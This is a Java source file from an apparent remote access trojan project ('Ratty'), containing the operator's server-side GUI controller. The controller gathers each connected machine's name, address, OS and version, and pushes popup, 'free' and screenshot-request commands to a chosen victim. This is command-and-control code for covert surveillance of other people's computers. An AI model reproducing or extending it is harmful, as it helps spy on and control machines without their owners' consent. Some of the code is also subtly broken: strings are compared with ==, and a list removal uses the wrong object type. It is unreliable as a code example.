ratty/Ratty/src/de/sogomn/rat/server/gui/ServerGuiController.java

package de.sogomn.rat.server.gui;

import java.util.ArrayList;

import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.InformationPacket;
import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.request.InformationRequestPacket;
import de.sogomn.rat.packet.request.ScreenshotRequestPacket;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.IServerObserver;

public final class ServerGuiController implements IServerObserver, IClientObserver, IGuiController {
	
	private RattyGui gui;
	
	private ArrayList<ServerClient> clients;
	private long nextId;
	
	public ServerGuiController(final RattyGui gui) {
		this.gui = gui;
		
		clients = new ArrayList<ServerClient>();
		
		gui.setController(this);
	}
	
	private ServerClient getClient(final long id) {
		for (final ServerClient client : clients) {
			if (client.id == id) {
				return client;
			}
		}
		
		return null;
	}
	
	private ServerClient getClient(final ActiveClient client) {
		for (final ServerClient serverClient : clients) {
			if (serverClient.client == client) {
				return serverClient;
			}
		}
		
		return null;
	}
	
	/*HARDCODED ATM*/
	private IPacket getPacket(final String actionCommand) {
		if (actionCommand == RattyGui.POPUP) {
			return PopupPacket.create();
		} else if (actionCommand == RattyGui.FREE) {
			return new FreePacket();
		} else if (actionCommand == RattyGui.SCREENSHOT) {
			return new ScreenshotRequestPacket();
		}
		
		return null;
	}
	
	@Override
	public void packetReceived(final ActiveClient client, final IPacket packet) {
		if (packet instanceof InformationPacket) {
			final InformationPacket information = (InformationPacket)packet;
			final long id = getClient(client).id;
			final String name = information.getName();
			final String address = client.getAddress();
			final String os = information.getOS();
			final String version = information.getVersion();
			
			gui.addRow(id, name, address, os, version);
		}
		
		packet.execute(client);
	}
	
	@Override
	public void disconnected(final ActiveClient client) {
		removeClient(client);
	}
	
	@Override
	public void clientConnected(final ActiveServer server, final ActiveClient client) {
		addClient(client);
	}
	
	@Override
	public void closed(final ActiveServer server) {
		System.out.println("Server closed");
	}
	
	@Override
	public void userInput(final String actionCommand) {
		final long lastIdClicked = gui.getLastIdClicked();
		final ActiveClient client = getClient(lastIdClicked).client;
		final IPacket packet = getPacket(actionCommand);
		
		if (packet != null) {
			client.addPacket(packet);
		}
	}
	
	public void addClient(final ActiveClient client) {
		final long id = nextId++;
		final ServerClient serverClient = new ServerClient(id, client);
		final InformationRequestPacket packet = new InformationRequestPacket();
		
		client.setObserver(this);
		clients.add(serverClient);
		client.start();
		client.addPacket(packet);
	}
	
	public void removeClient(final ActiveClient client) {
		final long id = getClient(client).id;
		
		client.setObserver(null);
		client.close();
		clients.remove(client);
		
		gui.removeRow(id);
	}
	
	private final class ServerClient {
		
		final long id;
		final ActiveClient client;
		
		public ServerClient(final long id, final ActiveClient client) {
			this.id = id;
			this.client = client;
		}
		
	}
	
}